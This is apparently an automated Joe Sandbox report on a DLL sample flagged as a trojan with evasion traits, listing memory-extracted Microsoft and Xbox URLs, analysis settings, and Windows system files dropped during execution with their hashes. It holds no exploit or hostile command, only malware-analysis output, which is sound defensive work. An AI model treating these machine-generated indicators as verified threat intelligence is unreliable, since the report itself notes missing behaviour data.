https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000C.00000003.417255421.0000021775446000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417221541.0000021775442000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417236188.0000021775443000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.453235698.000002177544E000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000C.00000002.454924916.0000021775456000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417204815.000002177545E000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?entry=	svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000C.00000002.455648502.000002177545B000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417211454.000002177545A000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000C.00000002.454924916.0000021775456000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000C.00000003.417200811.0000021775460000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.456745075.0000021775461000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000C.00000002.453235698.000002177544E000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.456745075.0000021775461000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com/	svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417243666.0000021775439000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000C.00000002.455648502.000002177545B000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417211454.000002177545A000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/roadshield.ashx?bucket=	svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000C.00000002.443019178.0000021775413000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000C.00000002.454924916.0000021775456000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000C.00000003.417204815.000002177545E000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532296
Start date:	01.12.2021
Start time:	23:57:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Zd9TtpY4Kh (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.troj.evad.winDLL@45/21@0/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 21% (good quality ratio 19.5%) Quality average: 72.8% Quality standard deviation: 27.2%
HCA Information:	Successful, ratio: 71% Number of executed functions: 30 Number of non-executed functions: 170
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe Excluded IPs from analysis (whitelisted): 23.211.4.86, 20.189.173.22, 20.54.110.249 Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/532296/sample/Zd9TtpY4Kh.dll

Simulations

Behavior and APIs

Time	Type	Description
00:01:00	API Interceptor	1x Sleep call for process: WerFault.exe modified
00:01:10	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
23:58:24	API Interceptor	3x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3593198815979092
Encrypted:	false
SSDEEP:	12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
MD5:	BF1DC7D5D8DAD7478F426DF8B3F8BAA6
SHA1:	C6B0BDE788F553F865D65F773D8F6A3546887E42
SHA-256:	BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
SHA-512:	00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
Malicious:	false
Preview:	.......................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24939886406802472
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4d:BJiRdwfu2SRU4d
MD5:	0245BC4CBCBB47A4B067A6F47832D223
SHA1:	332FEC10CEBE65F76EA7099BF849481FE68AF52D
SHA-256:	9051B7B80D2B7D08B06CED1DA66937C3EBE106D729E4BDD508125DE7AADD7540
SHA-512:	EA466B0CA9EBC66157D30279076CEAFBCBE33687E5E43E3992E141EACB7BCABCD4822CCDA2A2ED1AB205CB68505438404566761DF6C8644831151DEC0522E790
Malicious:	false
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x901c6e77, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.25045402319804877
Encrypted:	false
SSDEEP:	384:IJhJL+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:IH6SB2nSB2RSjlK/+mLesOj1J2
MD5:	6FEA800880117319A225AA0B7C4EF63E
SHA1:	57FA6C3611E7025EC00B3E0E15F9821476D3FF07
SHA-256:	D1778188467E576886A655FEED75FCF10345D12E548BDD67D53963505967F1D7
SHA-512:	DF38C37C027BAB784B7C1D685C3A1554B7E0B7DCCBD3528CC8FD769B2C9F68121D40C923E8393E37546D9EA000478529C972D62AAF90F9A492C223C60DD984A0
Malicious:	false
Preview:	..nw... ................e.f.3...w........................)..........y]..:...y..h.(..........y]...)..............3...w...........................................................................................................B...........@...................................................................................................... ....................................................................................................................................................................................................................................................}......y].................0.o;.....y].........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0742845021942003
Encrypted:	false
SSDEEP:	3:OxKR7v90Sjl4pcjVygI4+Zlill3Vkttlmlnl:O4RrRjlkcBy73ZlG3
MD5:	4AE1252F4F9730592073F18C15A76AB5
SHA1:	7373EBE8ED03655378A153A8328C79D05CA9E1E9
SHA-256:	BCB477DE94B7B36F81FA99669288B068AC791DCABA7530B66E1B11C659EE337A
SHA-512:	59DAB3D7D09C5F4CA05596B2DACE1BC91A81616AB49DA42FF90DA3DE7F4BBF7CA0B267E73C0E7BE785B62116FF076B99D8B7C90BCDFF723CCEFA2078A36F5F9B
Malicious:	false
Preview:	.........................................3...w...:...y.......y]..............y]......y]....-....y9.................0.o;.....y].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_747b3d3843a661accc8c92924ccfd5a2e2d128_d70d8aa6_0eb4dee1\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6753131941863054
Encrypted:	false
SSDEEP:	96:1Ohd1Zqy0y9hkoyt7JfqpXIQcQ5c6A2cE2cw33+a+z+HbHgLVG4rmMOyWZAXGngC:ObBtHnM28jj/q/u7svS274ItWP
MD5:	DB15FC43E38AE2BC4B50631E1AC5DE94
SHA1:	75B0A714B3AC3DEAE32FF403CA9D9E515551E849
SHA-256:	F8815703A1F6414E9AC0C882A983CF268E08692771855634998B350FA3C2590D
SHA-512:	2D36002D4D2CE0A543DEB0F637E9AB01210198447CE8DE53AE38C18380F3F0A2BCF98DE5EF17BEC23ECD19E9B2029F520C4C225D243AD0CF8A4FB5EB23A11A20
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.9.0.5.6.3.8.9.1.7.2.9.5.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.f.3.4.5.c.d.7.-.8.7.2.6.-.4.9.9.d.-.8.f.d.5.-.1.e.6.6.3.f.a.1.b.7.8.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.a.1.4.8.7.0.9.-.2.d.7.4.-.4.d.0.6.-.b.b.2.6.-.6.9.4.9.e.2.3.3.6.7.e.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.4.4.-.0.0.0.1.-.0.0.1.6.-.e.d.a.a.-.c.4.5.c.5.2.e.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.0.9././.2.8.:.1.1.:.5.3.:.0.5.!.0.!.l.o.a.d.d.l.l.3.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_d71d33d652a62c864cb684e881f783bcee8c2df7_d70d8aa6_174921e5\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6791326381097368
Encrypted:	false
SSDEEP:	96:uEFxJd1Zqy8y9hk1Dg3fWpXIQcQhc6tcEMcw32+a+z+HbHgLVG4rmMOyWZAXGng0:HPbBUH/pGoj/q/u7svS274ItW
MD5:	D2D87B66ECABE4B40F90D4C19212563F
SHA1:	32FCED2D3CC29B2A340CCA82E2FA3C244C68E929
SHA-256:	B2542D73D6015FD2443B274AD93CFF540BFC7C8791A904D7049D3AEC9E7CDDDF
SHA-512:	DD980130C0E93C50D4238429AA2C8706B28F794D667DB1DFA695D111750BC09DC6B5389C99BD69FA752B55188205E6C106FE24201A4D0A7AAB62B9060C98E451
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.9.0.5.6.5.1.3.1.9.8.0.3.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.2.9.0.5.6.5.8.6.1.6.6.7.2.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.a.3.a.2.6.b.8.-.5.0.a.9.-.4.a.5.e.-.b.0.b.9.-.7.4.5.0.0.4.b.6.7.a.5.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.d.3.6.e.3.8.6.-.9.9.a.a.-.4.6.2.0.-.b.6.0.b.-.8.6.2.9.4.b.3.f.a.d.7.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.4.4.-.0.0.0.1.-.0.0.1.6.-.e.d.a.a.-.c.4.5.c.5.2.e.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A77.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	52792
Entropy (8bit):	3.069987542784775
Encrypted:	false
SSDEEP:	1536:8fHf1Jnhhyrt4R5LsHno5CovndLWey1tehbNA9gF:8fHf1Jnhhyrt4R5LsHno5CovndLWF1t8
MD5:	F2AA7355F0D1B543B4B710F07C9CF9FF
SHA1:	4229ED72C68D00C4A3ACC429C2A2EAACD6931019
SHA-256:	8C03552A988D496CCD819409B86C6EBC390691DC9329E60836B5800716613499
SHA-512:	1CD549E7D4350676B4CD3EE7841265FD25E99FD06F34A1C4226884FEFAB15EFA0DC472A6AA0004A432EC35FF51B4B4A6230504869B3F3693A13B318A1B77CBFD
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2F5A.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6938126472737847
Encrypted:	false
SSDEEP:	96:9GiZYWDDQqYBYLYHWkcHbYEZu/utFiQF1KUwmbcaRbAoGooIg113:9jZDDSsaX44aRbAoGoPg113
MD5:	EED1EF6E1370C88853CE244909E64FAF
SHA1:	DA7EC3123D6139FFBFB8C982A9B09AA28DEA24A3
SHA-256:	BA9F8E6F44B6A56CA3B0E32F6E1A314C13BA144AC41A1671D7CBC5CD87082938
SHA-512:	5692A9D416B2335343CC94136B0184DC198DF0E5CCBDA01E8256A714E97B7683BF468CDD1828EB369612992068B175135403A5D3A324E03C635AFD4E5C74DF28
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5FB2.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	52390
Entropy (8bit):	3.0703641322109885
Encrypted:	false
SSDEEP:	1536:xfH0p++339tnR5X6noIfqzLuLVeRVdndbZk:xfH0p++339tnR5X6noIfqzLuLVWVdndK
MD5:	3AFF1DB6DF2F39BB9B9528F3EFA244A0
SHA1:	48AA9FA44113CE056CE12BACC505BEC4ECD47EFF
SHA-256:	59D151D6F50E045E9A32C44E9FB91F5A9311742D11D899EF7245954B6B948F26
SHA-512:	0F9027298D44794EF80F4B6926DBC7C6DF430E256E2C0898A432A63C86FACBA1DAA1F261E58B89F5261A07DE00C7D91BEB595BD24B3A38217D7779094D21411F
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER63F9.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.694673523958015
Encrypted:	false
SSDEEP:	96:9GiZYWDTPYBYqYaWZHAYEZ93tri0FPKNwt3UlzLay1sTsoaNICN3:9jZDk9H/EpLay1sTsofCN3
MD5:	433F8837A39F0357E4FACCC0AC97C8A8
SHA1:	34A0D3555F51061B43E3DD61BD5231148619D33C
SHA-256:	4A9189792EA16EA07D1C81C54F514B5720C26927314489B497A96DEE9F7F69C6
SHA-512:	86C3DE80094F98D076816A6A530EFBD3506F17F674AA125768FD29C1F4360FB2467D7DEE959864298E50757C14AB099352F79E928D5C9739CAEFE03778460D75
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B7.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8300
Entropy (8bit):	3.6938500408941866
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiTm6R6YIdSUEGgmfL8GSjCpDK89bUwsfJ8m:RrlsNiS6R6YCSUEGgmfLrSQUDf3
MD5:	0FB45E3D46DFAED31707373B086A468B
SHA1:	C01B13A77CCCB6717C8D74138FA88DC8F0FCD6D7
SHA-256:	47A90F0F09050A5E60B135AB4BCE2D68A31BF2FCDE13BAEEA119E170E65FE787
SHA-512:	2B2D313FC72FA316471D6B0ABCE1A0E07F503D60FFD9B4F37D54A347A30F86F0369F0C86DFAC21C9DF3C183A5744BA95BB17AB8B71DC2002B3C714D6A657DDFF
Malicious:	false
